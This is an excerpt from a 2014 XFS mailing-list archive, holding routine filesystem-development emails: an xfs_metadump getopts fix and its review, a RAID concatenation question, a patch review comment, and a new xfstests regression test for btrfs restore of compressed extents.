OiAoKzg2KTc1NSAgODMyNzA2MzU8L3NwYW4+PC9mb250PjwvZGl2PjxkaXYgY2xhc3M9Ik1zb05v cm1hbCI+PGZvbnQgY29sb3I9IiMwMDAwMDAiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogJnF1 b3Q7QXJpYWwmcXVvdDssJnF1b3Q7c2Fucy1zZXJpZiZxdW90OzsgZm9udC1zaXplOiAxMHB0OyI+ PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiAmcXVvdDtBcmlhbCZxdW90OywmcXVvdDtzYW5zLXNl cmlmJnF1b3Q7OyBmb250LXNpemU6IDEwcHQ7Ij5Nb2JpbGU6ICAoKzg2KTEzNzI1NTg3NzYzPC9z cGFuPjwvc3Bhbj48L2ZvbnQ+PC9kaXY+PGRpdiBjbGFzcz0iTXNvTm9ybWFsIj48Zm9udCBjb2xv cj0iIzAwMDAwMCI+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiAmcXVvdDtBcmlhbCZxdW90Oywm cXVvdDtzYW5zLXNlcmlmJnF1b3Q7OyBmb250LXNpemU6IDEwcHQ7Ij48L3NwYW4+PC9mb250PiZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxmb250IGNvbG9yPSIjMDAw MDAwIj48L2ZvbnQ+Jm5ic3A7PC9kaXY+PC9kaXY+PGRpdj48ZGl2IGNsYXNzPSJNc29Ob3JtYWwi Pjxmb250IGNvbG9yPSIjMDAwMDAwIiBmYWNlPSLLzszlIj48c3BhbiBzdHlsZT0iZm9udC1mYW1p bHk6ICZxdW90O0FyaWFsJnF1b3Q7LCZxdW90O3NhbnMtc2VyaWYmcXVvdDs7IGZvbnQtc2l6ZTog MTBwdDsiPjxzdHJvbmc+QWRkcmVzczwvc3Ryb25nPjogIDZ0aCBGbG9vciwgVW5pdCAxLCBTYW53 ZWkmbmJzcDtJbmR1c3RyeSBQYXJrLFhpeGlhbmcgVG93bixCYW8nYW4gRGlzdCwgU2hlbnpoZW4s Q2hpbmEgIDUxODEyNi48L3NwYW4+PC9mb250PjwvZGl2PjwvZGl2PjwvZm9udD48L2Rpdj48L2Rp dj48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj48 L2Rpdj4= ------=_Part_20303_1415915334.1393298531952-- From sandeen@redhat.com Tue Feb 25 10:23:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BBEE97F50 for ; Tue, 25 Feb 2014 10:23:23 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id A95FA8F8557 for ; Tue, 25 Feb 2014 08:23:20 -0800 (PST) X-ASG-Debug-ID: 1393345396-04cb6c56762a110001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id itnypFYua1Qj9fkY for ; Tue, 25 Feb 2014 08:23:16 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1PGNFvM005111 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 25 Feb 2014 11:23:15 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1PGNDgx003544 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Tue, 25 Feb 2014 11:23:14 -0500 Message-ID: <530CC371.8030005@redhat.com> Date: Tue, 25 Feb 2014 10:23:13 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss CC: Boris Ranto Subject: [PATCH] xfs_metadump: include F in getopts string X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfs_metadump: include F in getopts string Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393345396 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 I added an F case, but didn't add it to the bash getopts string last go-round. /usr/sbin/xfs_metadump: illegal option -- F I sure thought I tested this, I'm not sure how it got lost. Reported-by: Boris Ranto Signed-off-by: Eric Sandeen --- diff --git a/db/xfs_metadump.sh b/db/xfs_metadump.sh index 7ce7a6d..71f579d 100755 --- a/db/xfs_metadump.sh +++ b/db/xfs_metadump.sh @@ -7,7 +7,7 @@ OPTS=" " DBOPTS=" " USAGE="Usage: xfs_metadump [-efFogwV] [-m max_extents] [-l logdev] source target" -while getopts "efgl:m:owV" c +while getopts "efgl:m:owFV" c do case $c in e) OPTS=$OPTS"-e ";; From chamill@wesleyan.edu Tue Feb 25 11:04:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D95C57F50 for ; Tue, 25 Feb 2014 11:04:20 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B2CB28F83B4 for ; Tue, 25 Feb 2014 09:04:17 -0800 (PST) X-ASG-Debug-ID: 1393347854-04bdf05daa2e510001-NocioJ Received: from internal-smtp4.wesleyan.edu (internal-smtp4.wesleyan.edu [129.133.6.200]) by cuda.sgi.com with ESMTP id 7oqCIeAHKnHvaH2i (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 09:04:15 -0800 (PST) X-Barracuda-Envelope-From: chamill@wesleyan.edu X-Barracuda-Apparent-Source-IP: 129.133.6.200 Received: from localhost (al.wesleyan.edu [129.133.22.76]) (authenticated bits=0) by msa.wesleyan.edu (8.14.4/8.14.4) with ESMTP id s1PH4AQh012134 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NOT); Tue, 25 Feb 2014 12:04:10 -0500 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=wesleyan.edu; s=feb2013.wesmsa; t=1393347851; bh=o6ucqNx7TpaQYDfE8lADbUkgVj+gTlrEn+Sq8PpXuNs=; h=From:To:Cc:In-reply-to:Subject:References:Date; b=BKCQSXziukai26P++LMVr2RRgmgRPu7L/cdp6iH/uLwvGlm1Cj828vwrjPpdvCZUR ufOFRyKxEStoSM7n6BoEhzvUpQaQ40947rf75LgBtdpFdJhgCk8Mn+gKNjxu2NHPcq pcIMPWWPM5bips7o04mXbbhTLT3GV/3lat6KiN+M= Content-Type: text/plain; charset=UTF-8 From: "C. Morgan Hamill" To: stan Cc: xfs In-reply-to: <530809A7.70900@hardwarefreak.com> Subject: Re: Question regarding XFS on LVM over hardware RAID. References: <52E91923.4070706@sandeen.net> <52EB3B96.7000103@hardwarefreak.com> <1391202273-sup-9265@al.wesleyan.edu> <52ED61C9.8060504@hardwarefreak.com> <20140202212152.GP2212@dastard> <1391443675-sup-1730@al.wesleyan.edu> <20140203214128.GR13997@dastard> <52F09E36.8050606@hardwarefreak.com> <1392748390-sup-1943@al.wesleyan.edu> <5303E7AC.50903@hardwarefreak.com> <20140220183125.29149.64880@al.wesleyan.edu> <5306C90B.1000904@hardwarefreak.com> <20140221095742.0ca161b0@galadriel.home> <530809A7.70900@hardwarefreak.com> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. Date: Tue, 25 Feb 2014 12:04:10 -0500 Message-Id: <1393347755-sup-205@al.wesleyan.edu> User-Agent: Sup/git Content-Transfer-Encoding: 8bit X-Wesleyan-MailScanner-ID: s1PH4AQh012134 X-Wesleyan-MailScanner: Found to be clean X-Wesleyan-MailScanner-From: chamill@wesleyan.edu X-Barracuda-Connect: internal-smtp4.wesleyan.edu[129.133.6.200] X-Barracuda-Start-Time: 1393347855 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145500 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Excerpts from Stan Hoeppner's message of 2014-02-21 21:21:27 -0500: > Now, it's possible he could do this entirely in the RAID firmware. > However he has not stated which storage product he has, and thus I don't > know its capabilities, whether it can create or seamlessly expand a > concatenation. Linux md can do all of this very easily and is deployed > by many people in this exact scenario. On this note, I'm using an Areca ARC-1882. I've been looking for documentation regarding concatenation with this, and having a bit of trouble. Do you happen to be familiar with the product? -- Morgan Hamill From eflorac@intellique.com Tue Feb 25 11:17:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C033A7F50 for ; Tue, 25 Feb 2014 11:17:33 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 81CD08F806F for ; Tue, 25 Feb 2014 09:17:33 -0800 (PST) X-ASG-Debug-ID: 1393348651-04bdf05daa2f1c0001-NocioJ Received: from mail1.g1.pair.com (mail1.g1.pair.com [66.39.3.162]) by cuda.sgi.com with ESMTP id EgQrgROXrv9RvHPD for ; Tue, 25 Feb 2014 09:17:31 -0800 (PST) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 66.39.3.162 Received: from localhost (localhost [127.0.0.1]) by mail1.g1.pair.com (Postfix) with SMTP id F25A62CB25 for ; Tue, 25 Feb 2014 12:17:30 -0500 (EST) Received: from harpe.intellique.com (labo.djinux.com [82.225.196.72]) by mail1.g1.pair.com (Postfix) with ESMTPSA id 50D8D2CCB9 for ; Tue, 25 Feb 2014 12:17:30 -0500 (EST) Date: Tue, 25 Feb 2014 18:17:31 +0100 From: Emmanuel Florac To: xfs@oss.sgi.com Subject: Re: Question regarding XFS on LVM over hardware RAID. Message-ID: <20140225181731.1506b7f7@harpe.intellique.com> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. In-Reply-To: <1393347755-sup-205@al.wesleyan.edu> References: <52E91923.4070706@sandeen.net> <52EB3B96.7000103@hardwarefreak.com> <1391202273-sup-9265@al.wesleyan.edu> <52ED61C9.8060504@hardwarefreak.com> <20140202212152.GP2212@dastard> <1391443675-sup-1730@al.wesleyan.edu> <20140203214128.GR13997@dastard> <52F09E36.8050606@hardwarefreak.com> <1392748390-sup-1943@al.wesleyan.edu> <5303E7AC.50903@hardwarefreak.com> <20140220183125.29149.64880@al.wesleyan.edu> <5306C90B.1000904@hardwarefreak.com> <20140221095742.0ca161b0@galadriel.home> <530809A7.70900@hardwarefreak.com> <1393347755-sup-205@al.wesleyan.edu> Organization: Intellique X-Mailer: Claws Mail 3.9.2 (GTK+ 2.24.20; i486-slackware-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: mail1.g1.pair.com[66.39.3.162] X-Barracuda-Start-Time: 1393348651 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145500 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Le Tue, 25 Feb 2014 12:04:10 -0500 "C. Morgan Hamill" =E9crivait: > On this note, I'm using an Areca ARC-1882. I've been looking for > documentation regarding concatenation with this, and having a bit of > trouble. >=20 Unless Areca cards changed a lot in capabilities recently, it's not possible at all. You can expand a RAID set but it's generally a bad idea. --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 25 11:25:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 371037F50 for ; Tue, 25 Feb 2014 11:25:25 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id AF3FBAC03C for ; Tue, 25 Feb 2014 09:25:20 -0800 (PST) X-ASG-Debug-ID: 1393349119-04cbb066e430070001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id WPqsZc8I1EMzYXUn (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 09:25:19 -0800 (PST) X-Barracuda-Envelope-From: BATV+721a346f09f87d5574fc+3838+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WILks-0004Oy-Vk; Tue, 25 Feb 2014 17:25:18 +0000 Date: Tue, 25 Feb 2014 09:25:18 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 10/10] repair: BMBT prefetch needs to be CRC aware Message-ID: <20140225172518.GA12871@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 10/10] repair: BMBT prefetch needs to be CRC aware References: <1393223369-4696-1-git-send-email-david@fromorbit.com> <1393223369-4696-11-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393223369-4696-11-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1393349119 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145501 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS > /* > * do some validation on the block contents > */ > - if ((be32_to_cpu(block->bb_magic) != XFS_BMAP_MAGIC) || > + if ((block->bb_magic != cpu_to_be32(XFS_BMAP_MAGIC) && > + block->bb_magic != cpu_to_be32(XFS_BMAP_CRC_MAGIC)) || > (be16_to_cpu(block->bb_level) != level)) Seems like this should be factored into a well-documented helper function. From tinguely@sgi.com Tue Feb 25 11:36:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C7B787F50 for ; Tue, 25 Feb 2014 11:36:08 -0600 (CST) Received: from eagdhcp-232-183.americas.sgi.com (eagdhcp-232-183.americas.sgi.com [128.162.232.183]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6BF078F8065; Tue, 25 Feb 2014 09:36:08 -0800 (PST) Message-ID: <530CD48B.5000100@sgi.com> Date: Tue, 25 Feb 2014 11:36:11 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: xfs-oss , Boris Ranto Subject: Re: [PATCH] xfs_metadump: include F in getopts string References: <530CC371.8030005@redhat.com> In-Reply-To: <530CC371.8030005@redhat.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 02/25/14 10:23, Eric Sandeen wrote: > I added an F case, but didn't add it to the bash > getopts string last go-round. > > /usr/sbin/xfs_metadump: illegal option -- F > > I sure thought I tested this, I'm not sure how it got lost. > > Reported-by: Boris Ranto > Signed-off-by: Eric Sandeen > --- > > diff --git a/db/xfs_metadump.sh b/db/xfs_metadump.sh > index 7ce7a6d..71f579d 100755 > --- a/db/xfs_metadump.sh > +++ b/db/xfs_metadump.sh > @@ -7,7 +7,7 @@ OPTS=" " > DBOPTS=" " > USAGE="Usage: xfs_metadump [-efFogwV] [-m max_extents] [-l logdev] source target" > > -while getopts "efgl:m:owV" c > +while getopts "efgl:m:owFV" c > do > case $c in > e) OPTS=$OPTS"-e ";; Looks good. Reviewed-by: Mark Tinguely From fdmanana@gmail.com Tue Feb 25 12:27:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 72EE67F50 for ; Tue, 25 Feb 2014 12:27:12 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5848D304048 for ; Tue, 25 Feb 2014 10:27:09 -0800 (PST) X-ASG-Debug-ID: 1393352826-04cbb066e433130001-NocioJ Received: from mail-wg0-f46.google.com (mail-wg0-f46.google.com [74.125.82.46]) by cuda.sgi.com with ESMTP id vk7vxa2jW86sOLXn (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 25 Feb 2014 10:27:07 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.46 Received: by mail-wg0-f46.google.com with SMTP id z12so766383wgg.5 for ; Tue, 25 Feb 2014 10:27:06 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=OgM+CMYU45WaYch7WEDINNITGD6nrSQKIFbRc+S/igk=; b=rIj3C04YcUjXkhP5TzArLnp9mCcpfcpZ/jA42u+wVTq/ZIupClqU5TDwMDfOQBzdkw 5m6wc5EAHSiUTU0ZubKOtPNWKdGHxuj6L20lyS3V8kberFXDqAH7X/Kn8KGJkpkzPqDR crwqgmXjyUHsvlIzm/Nxbm1Rn9E7Nnk2zYecL2kP9b43UUKZIvSBVYSoaVx8ctGtWf2N G0T8srZd5EQxYq2vLMV5FqZ2vAEgC7tbKdTb+a8Q+8bpTiLyfDwDj7t5PsDJAhQiexre /Ww9Sz2s/b8loREsM3vvnT3SYaxGqcG0PNgl9SzWfLFqsa9lwch/gWAjqZRWTl3E8h58 oesA== X-Received: by 10.194.219.132 with SMTP id po4mr26163525wjc.7.1393352826041; Tue, 25 Feb 2014 10:27:06 -0800 (PST) Received: from storm-desktop.lan (bl9-170-181.dsl.telepac.pt. [85.242.170.181]) by mx.google.com with ESMTPSA id s12sm42295450wju.13.2014.02.25.10.27.04 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 25 Feb 2014 10:27:05 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH] xfstests: add test for btrfs-progs restore feature Date: Tue, 25 Feb 2014 18:26:56 +0000 X-ASG-Orig-Subj: [PATCH] xfstests: add test for btrfs-progs restore feature Message-Id: <1393352816-26065-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-wg0-f46.google.com[74.125.82.46] X-Barracuda-Start-Time: 1393352827 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145503 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature This is a regression test to verify that the restore feature of btrfs-progs is able to correctly recover files that have compressed extents, specially when the respective file extent items have a non-zero data offset field. This issue is fixed by the following btrfs-progs patch: Btrfs-progs: fix restore dealing with compressed extents Signed-off-by: Filipe David Borba Manana --- tests/btrfs/043 | 105 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/043.out | 40 ++++++++++++++++++++ tests/btrfs/group | 1 + 3 files changed, 146 insertions(+) create mode 100755 tests/btrfs/043 create mode 100644 tests/btrfs/043.out diff --git a/tests/btrfs/043 b/tests/btrfs/043 new file mode 100755 index 0000000..7a15aeb --- /dev/null +++ b/tests/btrfs/043 @@ -0,0 +1,105 @@ +#! /bin/bash +# FS QA Test No. btrfs/043 +# +# Test that btrfs-progs' restore command is able to correctly recover files +# that have compressed extents, specially when the respective file extent +# items have a non-zero data offset field. +# +# This issue is fixed by the following btrfs-progs patch: +# +# Btrfs-progs: fix restore dealing with compressed extents +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +rm -f $seqres.full + +test_btrfs_restore() +{ + if [ -z $1 ] + then + OPTIONS="" + else + OPTIONS="-o compress-force=$1" + fi + _scratch_mkfs >/dev/null 2>&1 + _scratch_mount $OPTIONS + + $XFS_IO_PROG -f -c "pwrite -S 0xff -b 100000 0 100000" \ + $SCRATCH_MNT/foo | _filter_xfs_io + + # Ensure a single file extent item is persisted. + _run_btrfs_util_prog filesystem sync $SCRATCH_MNT + + $XFS_IO_PROG -c "pwrite -S 0xaa -b 100000 100000 100000" \ + $SCRATCH_MNT/foo | _filter_xfs_io + + # Now ensure a second one is created (and not merged with previous one). + _run_btrfs_util_prog filesystem sync $SCRATCH_MNT + + # Make the extent item be split into several ones, each with a data + # offset field != 0 + $XFS_IO_PROG -c "pwrite -S 0x1e -b 2 10000 2" $SCRATCH_MNT/foo \ + | _filter_xfs_io + $XFS_IO_PROG -c "pwrite -S 0xd0 -b 11 33000 11" $SCRATCH_MNT/foo \ + | _filter_xfs_io + $XFS_IO_PROG -c "pwrite -S 0xbc -b 100 99000 100" $SCRATCH_MNT/foo \ + | _filter_xfs_io + + md5sum $SCRATCH_MNT/foo | _filter_scratch + + _scratch_unmount + _check_scratch_fs + + _run_btrfs_util_prog restore $SCRATCH_DEV $tmp + md5sum $tmp/foo | cut -d ' ' -f 1 +} + +mkdir $tmp +echo "Testing restore of file compressed with lzo" +test_btrfs_restore "lzo" +echo "Testing restore of file compressed with zlib" +test_btrfs_restore "zlib" +echo "Testing restore of file without any compression" +test_btrfs_restore + +status=0 +exit diff --git a/tests/btrfs/043.out b/tests/btrfs/043.out new file mode 100644 index 0000000..d22e4ce --- /dev/null +++ b/tests/btrfs/043.out @@ -0,0 +1,40 @@ +QA output created by 043 +Testing restore of file compressed with lzo +wrote 100000/100000 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100000/100000 bytes at offset 100000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2/2 bytes at offset 10000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 11/11 bytes at offset 33000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100/100 bytes at offset 99000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +67edd038aaa42adb5a1aa78f2eb1d2b6 SCRATCH_MNT/foo +67edd038aaa42adb5a1aa78f2eb1d2b6 +Testing restore of file compressed with zlib +wrote 100000/100000 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100000/100000 bytes at offset 100000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2/2 bytes at offset 10000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 11/11 bytes at offset 33000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100/100 bytes at offset 99000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +67edd038aaa42adb5a1aa78f2eb1d2b6 SCRATCH_MNT/foo +67edd038aaa42adb5a1aa78f2eb1d2b6 +Testing restore of file without any compression +wrote 100000/100000 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100000/100000 bytes at offset 100000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2/2 bytes at offset 10000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 11/11 bytes at offset 33000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100/100 bytes at offset 99000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +67edd038aaa42adb5a1aa78f2eb1d2b6 SCRATCH_MNT/foo +67edd038aaa42adb5a1aa78f2eb1d2b6 diff --git a/tests/btrfs/group b/tests/btrfs/group index 1037761..fabe3b5 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -45,3 +45,4 @@ 040 auto quick 041 auto quick 042 auto quick +043 auto quick -- 1.7.9.5 From fdmanana@gmail.com Tue Feb 25 12:44:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by 